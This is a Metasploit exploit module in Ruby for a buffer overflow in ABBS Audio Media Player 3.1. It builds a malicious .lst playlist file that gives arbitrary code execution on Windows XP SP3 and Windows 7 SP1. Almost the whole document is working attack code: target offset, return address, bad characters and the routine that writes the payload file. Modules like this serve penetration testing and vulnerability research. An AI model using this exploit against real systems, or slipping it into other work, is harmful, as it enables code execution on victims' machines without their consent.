ABBS Audio Media Player .LST Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ABBS Audio Media Player .LST Buffer Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability  
occurs when adding an .lst, allowing arbitrary code execution with the privileges  
of the user running the application . This module has been tested successfully on  
ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Julian Ahrens', # Vulnerability discovery and PoC  
'modpr0be <modpr0be[at]spentera.com>' # Metasploit module  
],  
'References' =>  
[  
[ 'OSVDB', '75096' ],  
[ 'EDB', '25204' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "\x00\x0a\x0d",  
'DisableNops' => true,  
},  
'Targets' =>  
[  
[ 'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1',  
{  
'Ret' => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe  
'Offset' => 4108,  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jun 30 2013',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']),  
], self.class)  
  
end  
  
def exploit  
buffer = payload.encoded  
buffer << rand_text(target['Offset'] - (payload.encoded.length))  
buffer << [target.ret].pack('V')  
  
file_create(buffer)  
end  
end  
`